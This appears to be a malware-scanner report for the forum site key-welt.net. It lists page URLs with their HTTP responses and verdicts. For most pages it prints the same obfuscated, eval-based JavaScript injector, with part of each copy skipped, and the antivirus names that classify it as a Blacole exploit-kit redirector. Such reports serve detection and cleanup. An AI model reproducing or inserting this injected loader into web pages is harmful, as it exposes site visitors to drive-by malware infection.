Request | Server response | Status |
http://key-welt.net/ | 200 OK Content-Length: 35828 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./styles/prosilver/template/styleswitcher.js | 200 OK Content-Length: 3041 Content-Type: application/javascript | clean |
http://key-welt.net/./styles/prosilver/template/forum_fn.js | 200 OK Content-Length: 9142 Content-Type: application/javascript | clean |
http://key-welt.net/./index.php?sid=04bfc493233d1f795d66d5e60c296af5 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/test404page.js | 404 Not Found Content-Length: 1041 Content-Type: text/html | clean |
http://key-welt.net/faq.php | 200 OK Content-Length: 67284 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./index.php?sid=12a9d1b9eae719eea30936f84adcf04a | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/ucp.php?mode=register | 200 OK Content-Length: 15328 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./index.php?sid=1d647466d3961d7524ba394c18c197a1 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./faq.php?sid=1d647466d3961d7524ba394c18c197a1 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./ucp.php?mode=login&sid=1d647466d3961d7524ba394c18c197a1 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./ucp.php?mode=register&coppa=0&sid=1d647466d3961d7524ba394c18c197a1 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./ucp.php?mode=register&coppa=1&sid=1d647466d3961d7524ba394c18c197a1 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./memberlist.php?mode=leaders&sid=1d647466d3961d7524ba394c18c197a1 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://key-welt.net/./ucp.php?mode=delete_cookies&sid=1d647466d3961d7524ba394c18c197a1 | 200 OK Content-Length: 4998 Content-Type: text/html | malicious |
